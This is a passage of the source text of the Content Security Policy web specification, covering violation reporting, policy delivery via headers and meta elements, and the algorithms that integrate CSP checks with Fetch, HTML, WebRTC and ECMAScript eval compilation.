<a>directive</a> whose\n  enforcement caused the violation.\n\n  Each <a>violation</a> has a\n  <dfn for=\"violation\" id=\"violation-source-file\" export>source file</dfn>, which is\n  either null or a {{URL}}.\n\n  Each <a>violation</a> has a\n  <dfn for=\"violation\" id=\"violation-line-number\" export>line number</dfn>, which is\n  a non-negative integer.\n\n  Each <a>violation</a> has a\n  <dfn for=\"violation\" id=\"violation-column-number\" export>column number</dfn>, which\n  is a non-negative integer.\n\n  Each <a>violation</a> has a\n  <dfn for=\"violation\" id=\"violation-element\" export>element</dfn>, which is either\n  null or an element.\n\n  Each <a>violation</a> has a <dfn for=\"violation\" id=\"violation-sample\" export>sample</dfn>,\n  which is a string. It is the empty string unless otherwise specified.\n\n  Note: A <a>violation</a>'s <a for=\"violation\">sample</a> will be populated with the first 40\n  characters of an inline script, event handler, or style that caused an violation. Violations\n  which stem from an external file will not include a sample in the violation report.\n\n  <h4 id=\"create-violation-for-global\" algorithm>\n    Create a violation object for |global|, |policy|, and |directive|\n  </h4>\n\n  Given a <a for=\"/\">global object</a> |global|, a <a for=\"/\">policy</a> |policy|, and a\n  <a>string</a> |directive|, the following algorithm creates a new <a>violation</a>\n  object, and populates it with an initial set of data:\n\n  1.  Let |violation| be a new <a>violation</a> whose <a for=\"violation\">global\n      object</a> is |global|, <a for=\"violation\">policy</a> is |policy|,\n      <a for=\"violation\">effective directive</a> is |directive|, and\n      <a for=\"violation\">resource</a> is null.\n\n  2.  If the user agent is currently executing script, and can extract a source\n      file's URL, line number, and column number from the |global|, set\n      |violation|'s <a for=\"violation\">source file</a>, <a for=\"violation\">line\n      number</a>, and <a for=\"violation\">column number</a> accordingly.\n\n      ISSUE: Is this kind of thing specified anywhere? I didn't see anything\n      that looked useful in [[ECMA262]].\n\n      Note: User agents need to ensure that the [=violation/source file=] is the URL requested by\n      the page, pre-redirects. If that's not possible, user agents need to strip the URL down to an\n      origin to avoid unintentional leakage.\n\n  3.  If |global| is a {{Window}} object, set |violation|'s\n      <a for=\"violation\">referrer</a> to |global|'s [=associated document|document=]'s\n      {{Document/referrer}}.\n\n  4.  Set |violation|'s <a for=\"violation\">status</a> to the HTTP status code\n      for the resource associated with |violation|'s <a for=\"violation\">global\n      object</a>.\n\n      ISSUE: How, exactly, do we get the status code? We don't actually store it\n      anywhere.\n\n  5.  Return |violation|.\n\n  <h4 id=\"create-violation-for-request\" algorithm>\n    Create a violation object for |request|, and |policy|.\n  </h4>\n\n  Given a <a for=\"/\">request</a> |request|, a <a for=\"/\">policy</a> |policy|,\n  the following algorithm creates a new <a>violation</a> object,\n  and populates it with an initial set of data:\n\n  1.  Let |directive| be the result of executing [[#effective-directive-for-a-request]]\n      on |request|.\n\n  2.  Let |violation| be the result of executing\n      [[#create-violation-for-global]] on |request|'s\n      <a for=\"request\">client</a>'s <a for=\"environment settings object\">global object</a>,\n      |policy|, and |directive|.\n\n  3.  Set |violation|'s <a for=\"violation\">resource</a> to |request|'s\n      <a for=\"request\">url</a>.\n\n      Note: We use |request|'s <a for=\"request\">url</a>, and <em>not</em> its\n      <a for=\"request\">current url</a>, as the latter might contain information\n      about redirect targets to which the page MUST NOT be given access.\n\n  4.  Return |violation|.\n</section>\n\n<!-- Big Text: Delivery -->\n<section>\n  <h2 id=\"policy-delivery\">\n    Policy Delivery\n  </h2>\n\n  A server MAY declare a <a for=\"/\">policy</a> for a particular <a>resource\n  representation</a> via an HTTP response header field whose value is a\n  <a>serialized CSP</a>. This mechanism is defined in detail in\n  [[#csp-header]] and [[#cspro-header]], and the integration with Fetch\n  and HTML is described in [[#fetch-integration]] and [[#html-integration]].\n\n  A <a for=\"/\">policy</a> may also be declared inline in an HTML document via a\n  <{meta}> element's <{meta/http-equiv}> attribute, as described in\n  [[#meta-element]].\n\n  <h3 id=\"csp-header\">\n    The `Content-Security-Policy` HTTP Response Header Field\n  </h3>\n\n  The <dfn export id=\"header-content-security-policy\" http-header>`Content-Security-Policy`</dfn>\n  HTTP response header field is the preferred mechanism for delivering a policy from a server to a\n  client. The header's value is represented by the following ABNF [[!RFC5234]]:\n\n  <pre>\n    Content-Security-Policy = 1#<a grammar>serialized-policy</a>\n                        ; The '#' rule is the one defined in section 5.6.1 of RFC 9110\n                        ; but it incorporates the modifications specified\n                        ; in section 2.1 of this document.\n  </pre>\n\n  <div class=\"example\">\n    <pre>\n      <a http-header>Content-Security-Policy</a>: script-src 'self';\n                               report-to csp-reporting-endpoint\n    </pre>\n  </div>\n\n  A server MAY send different `Content-Security-Policy` header field\n  values with different <a>representations</a> of the same resource.\n\n  When the user agent receives a `Content-Security-Policy` header field, it\n  MUST <a abstract-op lt=\"parse a serialized CSP\">parse</a> and <a>enforce</a> each\n  <a>serialized CSP</a> it contains as described in [[#fetch-integration]],\n  [[#html-integration]].\n\n  <h3 id=\"cspro-header\">\n    The `Content-Security-Policy-Report-Only` HTTP Response Header Field\n  </h3>\n\n  The <dfn export id=\"header-content-security-policy-report-only\" http-header>`Content-Security-Policy-Report-Only`</dfn>\n  HTTP response header field allows web developers to experiment with policies by monitoring (but\n  not enforcing) their effects. The header's value is represented by the following ABNF\n  [[!RFC5234]]:\n\n  <pre>\n    Content-Security-Policy-Report-Only = 1#<a grammar>serialized-policy</a>\n                        ; The '#' rule is the one defined in section 5.6.1 of RFC 9110\n                        ; but it incorporates the modifications specified\n                        ; in section 2.1 of this document.\n  </pre>\n\n  This header field allows developers to piece together their security policy in\n  an iterative fashion, deploying a report-only policy based on their best\n  estimate of how their site behaves, watching for violation reports, and then\n  moving to an enforced policy once they've gained confidence in that behavior.\n\n  <div class=\"example\">\n    <pre>\n      <a http-header>Content-Security-Policy-Report-Only</a>: script-src 'self';\n                                           report-to csp-reporting-endpoint\n    </pre>\n  </div>\n\n  A server MAY send different `Content-Security-Policy-Report-Only`\n  header field values with different <a>representations</a> of the same\n  resource.\n\n  When the user agent receives a `Content-Security-Policy-Report-Only` header\n  field, it MUST <a abstract-op lt=\"parse a serialized CSP\">parse</a> and <a>monitor</a>\n  each <a>serialized CSP</a> it contains as described in\n  [[#fetch-integration]] and [[#html-integration]].\n\n  Note: The <a http-header>`Content-Security-Policy-Report-Only`</a> header is\n  <strong>not</strong> supported inside a <{meta}> element.\n\n  <h3 id=\"meta-element\">\n    The `<meta>` element\n  </h3>\n\n  A {{Document}} may deliver a policy via one or more HTML <{meta}> elements\n  whose <{meta/http-equiv}> attributes are an <a>ASCII case-insensitive</a>\n  match for the string \"`Content-Security-Policy`\". For example:\n\n  <div class=\"example\">\n    <pre highlight=\"html\">\n      &lt;meta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self'\"&gt;\n    </pre>\n  </div>\n\n  Implementation details can be found in HTML's <a>Content Security Policy\n  state</a> `http-equiv` processing instructions [[!HTML]].\n\n  Note: The <a http-header>`Content-Security-Policy-Report-Only`</a> header is <em>not</em>\n  supported inside a <{meta}> element. Neither are the `report-uri`,\n  `frame-ancestors`, and `sandbox` directives.\n\n  Authors are <em>strongly encouraged</em> to place <{meta}> elements as early\n  in the document as possible, because policies in <{meta}> elements are not\n  applied to content which precedes them. In particular, note that resources\n  fetched or prefetched using the `Link` HTTP response header\n  field, and resources fetched or prefetched using <{link}> and <{script}>\n  elements which precede a <{meta}>-delivered policy will not be blocked.\n\n  Note: A policy specified via a <{meta}> element will be enforced along with\n  any other policies active for the protected resource, regardless\n  of where they're specified. The general impact of enforcing multiple\n  policies is described in [[#multiple-policies]].\n\n  Note: Modifications to the <{meta/content}> attribute of a <{meta}> element\n  after the element has been parsed will be ignored.\n</section>\n\n<!-- Big Text: Integration -->\n<section>\n  <h2 id=\"integrations\">Integrations</h2>\n\n  <em>This section is non-normative.</em>\n\n  This document defines a set of algorithms which are used in other\n  specifications in order to implement the functionality. These\n  integrations are outlined here for clarity, but those external\n  documents are the normative references which ought to be consulted for\n  detailed information.\n\n  <h3 id=\"fetch-integration\">\n    Integration with Fetch\n  </h3>\n\n  A number of <a>directives</a> control resource loading in one way or\n  another. This specification provides algorithms which allow Fetch to make\n  decisions about whether or not a particular <a for=\"/\">request</a> should be blocked\n  or allowed, and about whether a particular <a>response</a> should be replaced\n  with a <a>network error</a>.\n\n  1.  [[#should-block-request]] is called as part of step 2.4 of the <a>Main\n      Fetch</a> algorithm. This allows directives' <a>pre-request checks</a>\n      to be executed against each <a for=\"/\">request</a> before it hits the network,\n      and against each redirect that a <a for=\"/\">request</a> might go through on its\n      way to reaching a resource.\n\n  2.  [[#should-block-response]] is called as part of step 11 of the <a>Main\n      Fetch</a> algorithm. This allows directives' <a>post-request checks</a>\n      to be executed on the <a>response</a> delivered from the network\n      or from a Service Worker.\n\n  <h4 id=\"report-for-request\" algorithm dfn export>\n    Report Content Security Policy violations for |request|\n  </h4>\n\n  Given a <a for=\"/\">request</a> |request|, this algorithm reports violations based\n  on [=request/policy container=]'s [=policy container/CSP list=] \"report only\" policies.\n\n  1.  Let |CSP list| be |request|'s [=request/policy container=]'s [=policy container/CSP list=].\n\n  2.  <a for=list>For each</a> |policy| of |CSP list|'s [=CSP list/policies=]:\n\n      1.  If |policy|'s <a for=\"content security policy object\">disposition</a> is \"`enforce`\",\n          then skip to the next |policy|.\n\n      2.  Let |violates| be the result of executing\n          [[#does-request-violate-policy]] on |request|, |policy|, and |CSP\n          list|'s [=CSP list/self-origin=].\n\n      3.  If |violates| is not \"`Does Not Violate`\", then execute\n          [[#report-violation]] on the result of executing\n          [[#create-violation-for-request]] on |request|, and |policy|.\n\n  <h4 id=\"should-block-request\" algorithm dfn export>\n    Should |request| be blocked by Content Security Policy?\n  </h4>\n\n  Given a <a for=\"/\">request</a> |request|, this algorithm returns `Blocked` or `Allowed` and\n  reports violations based on |request|'s [=request/policy container=]'s\n  [=policy container/CSP list=].\n\n  1.  Let |CSP list| be |request|'s [=request/policy container=]'s [=policy container/CSP list=].\n\n  2.  Let |result| be \"`Allowed`\".\n\n  3.  <a for=list>For each</a> |policy| of |CSP list|'s [=CSP list/policies=]:\n\n      1.  If |policy|'s <a for=\"content security policy object\">disposition</a> is \"`report`\",\n          then skip to the next |policy|.\n\n      2.  Let |violates| be the result of executing\n          [[#does-request-violate-policy]] on |request|, |policy|, and |CSP\n          list|'s [=CSP list/self-origin=].\n\n      3.  If |violates| is not \"`Does Not Violate`\", then:\n\n          1.  Execute [[#report-violation]] on the result of executing\n              [[#create-violation-for-request]] on |request|, and |policy|.\n\n          2.  Set |result| to \"`Blocked`\".\n\n  4.  Return |result|.\n\n  <h4 id=\"should-block-response\" algorithm dfn export>\n    Should |response| to |request| be blocked by Content Security Policy?\n  </h4>\n\n  Given a <a>response</a> |response| and a <a for=\"/\">request</a> |request|, this algorithm\n  returns `Blocked` or `Allowed`, and reports violations based on |request|'s\n  [=request/policy container=]'s [=policy container/CSP list=].\n\n  1.  Let |CSP list| be |request|'s [=request/policy container=]'s [=policy container/CSP list=].\n\n  2.  Let |result| be \"`Allowed`\".\n\n  3.  <a for=list>For each</a> |policy| of |CSP list|'s [=CSP list/policies=]:\n\n      1.  <a for=set>For each</a> |directive| of |policy|:\n\n          1.  If the result of executing |directive|'s <a\n              for=\"directive\">post-request check</a> on |request|, |response|,\n              |policy|, and |CSP list|'s [=CSP list/self-origin=] is\n              \"`Blocked`\", then:\n\n              1.  Execute [[#report-violation]] on the result of executing\n                  [[#create-violation-for-request]] on |request|, and |policy|.\n\n              2.  If |policy|'s <a for=\"content security policy object\">disposition</a> is \"`enforce`\",\n                  then set |result| to \"`Blocked`\".\n\n      Note: This portion of the check verifies that the page can load the\n      response. That is, that a Service Worker hasn't substituted a file which\n      would violate the page's CSP.\n\n  4.  Return |result|.\n\n  <h4 id=\"potentially-report-hash\" algorithm dfn export>Potentially report hash</h4>\n\n  Given a [=response=] |response|, a [=/request=] |request|, a [=directive=] |directive| and a\n  [=content security policy object=] |policy|, run the following steps:\n\n  1.  Let |algorithm| be the empty [=string=].\n  1.  If |directive|'s <a for=\"directive\">value</a> <a for=\"list\">contains</a> the\n      expression \"<a grammar>`'report-sha256'`</a>\", set |algorithm| to \"sha256\".\n  1.  If |directive|'s <a for=\"directive\">value</a> <a for=\"list\">contains</a> the\n      expression \"<a grammar>`'report-sha384'`</a>\", set |algorithm| to \"sha384\".\n  1.  If |directive|'s <a for=\"directive\">value</a> <a for=\"list\">contains</a> the\n      expression \"<a grammar>`'report-sha512'`</a>\", set |algorithm| to \"sha512\".\n  1.  If |algorithm| is the empty [=string=], return.\n  1.  Let |hash| be the empty [=string=].\n  1.  If |response| is [=CORS-same-origin=], then:\n      1. Let |h| be the result of [=applying algorithm to bytes=] on |response|'s [=response/body=] and |algorithm|.\n      1. Let |hash| be the [=concatenation=] of |algorithm|, U+2D (-), and |h|.\n  1.  Let |global| be the |request|'s [=request/client=]'s [=/global object=].\n  1.  If |global| is not a {{Window}}, return.\n  1.  Let |stripped document URL| to be the result of executing [[#strip-url-for-use-in-reports]]\n      on |global|'s [=associated document|document=]'s [=Document/URL=].\n  1.  If |policy|'s [=directive set=] does not contain a [=directive=] named \"report-to\", return.\n  1.  Let |report-to directive| be a [=directive=] named \"report-to\" from |policy|'s [=directive\n      set=].\n  1.  Let |body| be a [=csp hash report body=] with |stripped document URL| as its [=documentURL=],\n      |request|'s URL as its [=subresourceURL=], |hash| as its [=hash=], |request|'s\n      [=request/destination=] as its [=csp hash report body/destination=], and \"subresource\" as its\n      [=csp hash report body/type=].\n  1.  [=Generate and queue a report=] with the following arguments:\n      :   <var ignore>context</var>\n      ::  <var ignore>settings object</var>\n      :   <var ignore>type</var>\n      ::  \"csp-hash\"\n      :   <var ignore>destination</var>\n      ::  |report-to directive|'s [=directive/value=].\n      :   <var ignore>data</var>\n      ::  |body|\n\n  <h3 id=\"html-integration\">\n    Integration with HTML\n  </h3>\n\n  1.  The [=/policy container=] has a [=policy container/CSP list=], which holds\n      all the <a for=\"/\">policy</a> objects which are active for a given context. This\n      list is empty unless otherwise specified, and is populated from the <a>response</a> by <a\n      abstract-op lt=\"parse a response's Content Security Policies\">parsing</a> <a>response</a>'s\n      Content Security Policies or inherited following the rules of the [=/policy container=].\n\n  2.  A <a for=\"/\">global object</a>'s <dfn for=\"global object\" id=\"global-object-csp-list\">CSP list</dfn>\n      is the result of executing [[#get-csp-of-object]] with the <a for=\"/\">global object</a>\n      as the `object`.\n\n  3.  A <a for=\"/\">policy</a> is <dfn export>enforced</dfn> or <dfn export>monitored</dfn> for a\n      <a for=\"/\">global object</a> by inserting it into the <a for=\"/\">global object</a>'s\n      <a for=\"global object\">CSP list</a>.\n\n  4.  [[#run-document-csp-initialization]] is called during the <a>create and initialize a\n      new `Document` object</a> algorithm.\n\n  5.  [[#should-block-inline]] is called during the <a>prepare the script element</a> and\n      <a>update a `style` block</a> algorithms in order to determine whether or\n      not an inline script or style block is allowed to execute/render.\n\n  6.  [[#should-block-inline]] is called during handling of inline event\n      handlers (like `onclick`) and inline `style` attributes in order to\n      determine whether or not they ought to be allowed to execute/render.\n\n  7.  <a for=\"/\">policy</a> is <a>enforced</a> during processing of the <{meta}>\n      element's <{meta/http-equiv}>.\n\n  9.  HTML populates each <a for=\"/\">request</a>'s <a for=\"request\">cryptographic nonce\n      metadata</a> and <a>parser metadata</a> with relevant data from the\n      elements responsible for resource loading.\n\n      ISSUE(whatwg/html#968): Stylesheet loading is not yet integrated with\n      Fetch in WHATWG's HTML.\n\n  9.  [[#allow-base-for-document]] is called during <{base}>'s <a>set the frozen\n      base URL</a> algorithm to ensure that the <{base/href}> attribute's value\n      is valid.\n\n  10. [[#should-block-navigation-request]] is called during the <a spec=html>create\n      navigation params by fetching</a> algorithm, and [[#should-block-navigation-response]]\n      is called during the <a spec=html>attempt to populate the history entry's document</a>\n      algorithm to apply directive's navigation checks, as well as inline checks for\n      navigations to `javascript:` URLs.\n\n  11. [[#run-global-object-csp-initialization]] is called during the <a>run a worker</a>\n      algorithm.\n\n  12. The <a>sandbox</a> directive is used to populate the <a spec=html>CSP-derived\n      sandboxing flags</a>.\n\n  <h4 id=\"run-document-csp-initialization\" algorithm dfn export>\n    Run `CSP` initialization for a `Document`\n  </h4>\n\n  Given a {{Document}} |document|, the user agent performs the following\n  steps in order to initialize CSP for |document|:\n\n  1. <a for=list>For each</a> |policy| of |document|'s [=Document/policy container=]'s\n     [=policy container/CSP list=]:\n\n      1.  <a for=set>For each</a> |directive| of |policy|:\n\n          1.  Execute |directive|'s <a for=\"directive\">initialization</a>\n              algorithm on |document| and |policy|, and assert: its returned\n              value is \"`Allowed`\".\n\n  <h4 id=\"get-csp-of-object\" algorithm>\n    Retrieve the <a for=\"global object\">CSP list</a> of an |object|\n  </h4>\n\n  To obtain |object|'s <a for=\"global object\">CSP list</a>:\n\n  1.  If |object| is a {{Document}} return |object|'s [=Document/policy container=]'s\n      [=policy container/CSP list=].\n\n  2.  If |object| is a {{Window}} or a {{WorkerGlobalScope}} or a {{WorkletGlobalScope}},\n      return <a>environment settings object</a>'s [=environment settings object/policy\n      container=]'s [=policy container/CSP list=].\n\n  3.  Return null.\n\n  <h4 id=\"should-block-inline\" algorithm dfn export>\n    Should |element|'s inline |type| behavior be blocked by Content Security Policy?\n  </h4>\n\n  Given an {{Element}} |element|, a string |type|, and a string |source|\n  this algorithm returns \"`Allowed`\" if the element is allowed to have inline\n  definition of a particular type of behavior (script execution, style\n  application, event handlers, etc.), and \"`Blocked`\" otherwise:\n\n  Note: The valid values for |type| are \"`script`\", \"`script attribute`\",\n  \"`style`\", and \"`style attribute`\".\n\n  <ol class=\"algorithm\">\n    1.  Assert: |element| is not null.\n\n    2.  Let |result| be \"`Allowed`\".\n\n    3.  <a for=list>For each</a> |policy| of |element|'s {{Document}}'s <a for=\"/\">global object</a>'s\n        <a for=\"global object\">CSP list</a>'s [=CSP list/policies=]:\n\n        1.  <a for=set>For each</a> |directive| of |policy|'s <a for=\"content security policy object\">directive set</a>:\n\n            1.  If |directive|'s <a for=\"directive\">inline check</a> returns\n                \"`Allowed`\" when executed upon |element|, |type|, |policy| and |source|,\n                skip to the next |directive|.\n\n            2.  Let |directive-name| be the result of executing\n                [[#effective-directive-for-inline-check]] on |type|.\n\n            3.  Otherwise, let |violation| be the result of executing\n                [[#create-violation-for-global]] on the <a>current settings\n                object</a>'s <a for=\"environment settings object\">global object</a>, |policy|,\n                and |directive-name|.\n\n            4.  Set |violation|'s <a for=\"violation\">resource</a> to \"`inline`\".\n\n            5.  Set |violation|'s <a for=\"violation\">element</a> to |element|.\n\n            6.  If |directive|'s <a for=\"directive\">value</a> <a for=\"list\">contains</a> the\n                expression \"<a grammar>`'report-sample'`</a>\", then set |violation|'s\n                <a for=\"violation\">sample</a> to the substring of |source| containing its first 40\n                characters.\n\n            7.  Execute [[#report-violation]] on |violation|.\n\n            8.  If |policy|'s <a for=\"content security policy object\">disposition</a> is \"`enforce`\", then\n                set |result| to \"`Blocked`\".\n\n    4.  Return |result|.\n  </ol>\n\n  <h4 id=\"should-block-navigation-request\" algorithm dfn export>\n    Should |navigation request| of |type| be blocked\n    by Content Security Policy?\n  </h4>\n\n  Given a <a for=\"/\">request</a> |navigation request| and a string |type| (either\n  \"`form-submission`\" or \"`other`\"), this algorithm return \"`Blocked`\" if the active policy blocks\n  the navigation, and \"`Allowed`\" otherwise:\n\n  <ol class=\"algorithm\">\n    1.  Let |result| be \"`Allowed`\".\n\n    1.  Let |CSP list| be |navigation request|'s <a for=\"request\">policy\n        container</a>'s <a for=\"policy container\">CSP list</a>'s [=CSP\n        list/policies=].\n\n    2.  <a for=list>For each</a> |policy| of |CSP list|'s [=CSP list/policies=]:\n\n        1.  <a for=set>For each</a> |directive| of |policy|:\n\n            1.  If |directive|'s <a for=\"directive\">pre-navigation check</a>\n                returns \"`Allowed`\" when executed upon |navigation request|,\n                |type|, |policy|, and |CSP list|'s [=CSP list/self-origin=] skip\n                to the next |directive|.\n\n            2.  Otherwise, let |violation| be the result of executing\n                [[#create-violation-for-global]] on |navigation request|'s\n                <a for=\"request\">client</a>'s <a for=\"environment settings object\">global object</a>,\n                |policy|, and |directive|'s <a for=\"directive\">name</a>.\n\n            3.  Set |violation|'s <a for=\"violation\">resource</a> to |navigation\n                request|'s <a for=\"request\">URL</a>.\n\n            4.  Execute [[#report-violation]] on |violation|.\n\n            5.  If |policy|'s <a for=\"content security policy object\">disposition</a> is \"`enforce`\", then\n                set |result| to \"`Blocked`\".\n\n    3.  If |result| is \"`Allowed`\", and if |navigation request|'s\n        <a for=\"request\">current URL</a>'s <a for=\"url\">scheme</a> is `javascript`:\n\n        1.  <a for=list>For each</a> |policy| of |navigation request|'s\n            <a for=\"request\">policy container</a>'s\n            <a for=\"policy container\">CSP list</a>'s [=CSP list/policies=]:\n\n            1.  <a for=set>For each</a> |directive| of |policy|:\n\n                1.  Let |directive-name| be the result of executing\n                    [[#effective-directive-for-inline-check]] on \"`navigation`\".\n\n                2.  If |directive|'s <a for=\"directive\">inline check</a>\n                    returns \"`Allowed`\" when executed upon null,\n                    \"`navigation`\", |policy|, and |navigation request|'s <a for=\"request\">current URL</a>,\n                    skip to the next |directive|.\n\n                3.  Otherwise, let |violation| be the result of executing\n                    [[#create-violation-for-global]] on |navigation request|'s\n                    <a for=\"request\">client</a>'s <a for=\"environment settings object\">global object</a>,\n                    |policy|, and |directive-name|.\n\n                4.  Set |violation|'s <a for=\"violation\">resource</a> to \"`inline`\".\n\n                5.  Execute [[#report-violation]] on |violation|.\n\n                6.  If |policy|'s <a for=\"content security policy object\">disposition</a> is \"`enforce`\", then\n                    set |result| to \"`Blocked`\".\n\n    4.  Return |result|.\n  </ol>\n\n  <h4 id=\"should-block-navigation-response\" algorithm dfn export>\n    Should |navigation response| to |navigation request| of |type|\n    in |target| be blocked by Content Security Policy?\n  </h4>\n\n  Given a <a for=\"/\">request</a> |navigation request|, a <a>response</a> |navigation\n  response|, a [=/CSP list=] |response CSP list|, a string |type| (either\n  \"`form-submission`\" or \"`other`\"), and a <a>navigable</a> |target|, this algorithm\n  returns \"`Blocked`\" if the active policy blocks the navigation, and \"`Allowed`\"\n  otherwise:\n\n  <ol class=\"algorithm\">\n    1.  Let |result| be \"`Allowed`\".\n\n    2.  <a for=list>For each</a> |policy| of |response CSP list|'s [=CSP list/policies=]:\n\n        Note: Some directives (like <a>frame-ancestors</a>) allow a |response|'s\n        <a>Content Security Policy</a> to act on the navigation.\n\n        1.  <a for=set>For each</a> |directive| of |policy|:\n\n            1.  If |directive|'s <a for=\"directive\">navigation response check</a>\n                returns \"`Allowed`\" when executed upon |navigation request|, |type|,\n                |navigation response|, |target|, \"`response`\", |policy|, and\n                |response CSP list|'s [=CSP list/self-origin=],\n                skip to the next |directive|.\n\n            2.  Otherwise, let |violation| be the result of executing\n                [[#create-violation-for-global]] on null, |policy|, and\n                |directive|'s <a for=\"directive\">name</a>.\n\n                Note: We use null for the global object, as no global exists:\n                we haven't processed the navigation to create a Document yet.\n\n            3.  Set |violation|'s <a for=\"violation\">resource</a> to |navigation\n                response|'s <a for=\"response\">URL</a>.\n\n            4.  Execute [[#report-violation]] on |violation|.\n\n            5.  If |policy|'s <a for=\"content security policy object\">disposition</a> is \"`enforce`\", then\n                set |result| to \"`Blocked`\".\n\n    3.  <a for=list>For each</a> |policy| of |navigation request|'s <a for=\"request\">policy container</a>'s\n        <a for=\"policy container\">CSP list</a>'s [=CSP list/policies=]:\n\n        Note: Some directives in the |navigation request|'s context (like <a>frame-ancestors</a>)\n        need the |response| before acting on the navigation.\n\n        1.  <a for=set>For each</a> |directive| of |policy|:\n\n            1.  If |directive|'s <a for=\"directive\">navigation response check</a>\n                returns \"`Allowed`\" when executed upon |navigation request|, |type|,\n                |navigation response|, |target|, \"`source`\", |policy|, and\n                |response CSP list|'s [=CSP list/self-origin=],\n                skip to the next |directive|.\n\n            2.  Otherwise, let |violation| be the result of executing\n                [[#create-violation-for-global]] on |navigation request|'s\n                <a for=\"request\">client</a>'s <a for=\"environment settings object\">global object</a>,\n                |policy|, and |directive|'s <a for=\"directive\">name</a>.\n\n            3.  Set |violation|'s <a for=\"violation\">resource</a> to |navigation\n                request|'s <a for=\"request\">URL</a>.\n\n            4.  Execute [[#report-violation]] on |violation|.\n\n            5.  If |policy|'s <a for=\"content security policy object\">disposition</a> is \"`enforce`\", then\n                set |result| to \"`Blocked`\".\n\n    4.  Return |result|.\n  </ol>\n\n  <h4 id=\"run-global-object-csp-initialization\" algorithm dfn export>\n    Run `CSP` initialization for a global object\n  </h4>\n\n  Given a <a for=\"/\">global object</a> |global|, the user agent performs the\n  following steps in order to initialize CSP for |global|. This algorithm\n  returns \"`Allowed`\" if |global| is allowed, and \"`Blocked`\" otherwise:\n\n  <ol class=\"algorithm\">\n    1.  Let |result| be \"`Allowed`\".\n\n    2.  <a for=list>For each</a> |policy| of |global|'s [=global object/CSP\n        list=]'s [=CSP list/policies=]:\n\n        1.  <a for=set>For each</a> |directive| of |policy|:\n\n            1. Execute |directive|'s <a for=\"directive\">initialization</a> algorithm on\n               |global| and |policy|. If its returned value is \"`Blocked`\", then set |result| to\n               \"`Blocked`\".\n\n    3.  Return |result|.\n  </ol>\n\n  <h3 id=\"webrtc-integration\">Integration with WebRTC</h3>\n\n  <p>The [=administratively-prohibited=] algorithm calls [[#should-block-rtc-connection]]\n  when invoked, and prohibits all candidates if it returns \"`Blocked`\".</p>\n\n  <h4 id=\"should-block-rtc-connection\">\n    Should RTC connections be blocked for |global|?\n  </h4>\n\n  Given a [=/global object=] |global|, this algorithm returns \"`Blocked`\"\n  if the active policy for |global| blocks RTC connections, and \"`Allowed`\" otherwise:\n\n  <ol class=\"algorithm\">\n    1.  Let |result| be \"`Allowed`\".\n\n    2.  <a for=list>For each</a> |policy| of |global|'s [=global object/CSP\n        list=]'s [=CSP list/policies=]:\n          1.  <a for=set>For each</a> |directive| of |policy|:\n              1.  If |directive|'s <a for=\"directive\">webrtc pre-connect check</a>\n                  returns \"`Allowed`\" when executed upon |policy|, [=iteration/continue=].\n\n              2.  Otherwise, let |violation| be the result of executing\n                  [[#create-violation-for-global]] on |global|, |policy|, and\n                  |directive|'s <a for=\"directive\">name</a>.\n\n              3.  Set |violation|'s <a for=\"violation\">resource</a> to null.\n\n              4.  Execute [[#report-violation]] on |violation|.\n\n              5.  If |policy|'s <a for=\"content security policy object\">disposition</a> is \"`enforce`\", then\n                  set |result| to \"`Blocked`\".\n\n    3.  Return |result|.\n  </ol>\n\n  <h3 id=\"ecma-integration\">Integration with ECMAScript</h3>\n\n  ECMAScript defines a {{HostEnsureCanCompileStrings()}} abstract operation\n  which allows the host environment to block the compilation of strings into\n  ECMAScript code. This document defines an implementation of that abstract\n  operation which examines the relevant <a for=\"global object\">CSP list</a>\n  to determine whether such compilation ought to be blocked.\n\n  <h4 id=\"can-compile-strings\" algorithm dfn export>\n    EnsureCSPDoesNotBlockStringCompilation(|realm|, |parameterStrings|, |bodyString|, |codeString|, |compilationType|, |parameterArgs|, |bodyArg|)\n  </h4>\n\n  Given a <a>realm</a> |realm|, a list of strings |parameterStrings|, a string |bodyString|, a string |codeString|, an enum (|compilationType|),\n  a list of ECMAScript language values (|parameterArgs|), and an ECMAScript language value (|bodyArg|), this algorithm\n  returns normally if string compilation is allowed, and throws an \"`EvalError`\"\n  if not:\n\n  1.  If |compilationType| is \"`TIMER`\", then:\n\n      1.  Let |sourceString| be |codeString|.\n\n  1.  Else:\n\n      1.  Let |compilationSink| be \"Function\" if |compilationType| is \"`FUNCTION`\", and \"eval\" otherwise.\n\n      1.  Let |isTrusted| be `true` if |bodyArg| [=implements=] {{TrustedScript}}, and `false` otherwise.\n\n      1.  If |isTrusted| is `true` then:\n\n          1. If |bodyString| is not equal to |bodyArg|'s [=TrustedScript/data=], set |isTrusted| to `false`.\n\n      1.  If |isTrusted| is `true`, then:\n\n          1. Assert: |parameterArgs|' [list/size=] is equal to [parameterStrings]' [=list/size=].\n\n          1. [=list/iterate|For each=] |index| of [=the range=] 0 to |parameterArgs]' [list/size=]:\n              1. Let |arg| be |parameterArgs|[|index|].\n\n              1. If |arg| [=implements=] {{TrustedScript}}, then:\n\n                  1. if |parameterStrings|[|index|] is not equal to |arg|'s [=TrustedScript/data=], set |isTrusted| to `false`.\n\n              1. Otherwise, set |isTrusted| to `false`.\n\n      1.  Let |sourceToValidate| be a [=new=] {{TrustedScript}} object created in |realm|\n          whose [=TrustedScript/data=] is set to |codeString| if |isTrusted| is `true`, and\n          |codeString| otherwise.\n\n      1. Let |sourceString| be the result of executing the [=get trusted type compliant string=] algorithm, with\n         {{TrustedScript}}, |realm|, |sourceToValidate|, |compilationSink|, and `'script'`.\n\n      1.  If the algorithm throws an error, throw an {{EvalError}}.\n\n      1.  If |sourceString| is not equal to |codeString|, throw an {{EvalError}}.\n\n  1.  Let |result| be \"`Allowed`\".\n\n  2.  Let |global| be |realm|'s [=realm/global object=].\n\n  3.  <a for=list>For each</a> |policy| of |global|'s [=global object/CSP\n      list=]'s [=CSP list/policies=]:\n\n      1.  Let |source-list| be null.\n\n      2.  If |policy| contains a [=directive=] whose [=directive/name=] is \"`script-src`\", then\n          set |source-list| to that [=directive=]'s [=directive/value=].\n\n          Otherwise if |policy| contains a [=directive=] whose [=directive/name=] is\n          \"`default-src`\", then set |source-list| to that directive's [=directive/value=].\n\n      1.  If |source-list| is not null:\n\n          1.  Let |trustedTypesRequired| be the result of executing [=does sink type require trusted types?=], with\n              |realm|, `'script'`, and `false`.\n\n          1.  If |trustedTypesRequired| is `true` and |source-list| contains a [=source expression=] which is an\n              [=ASCII case-insensitive=] match for the string \"<a grammar>`'trusted-types-eval'`</a>\", then skip the\n              following steps.\n\n          1.  If |source-list| contains a [=source expression=] 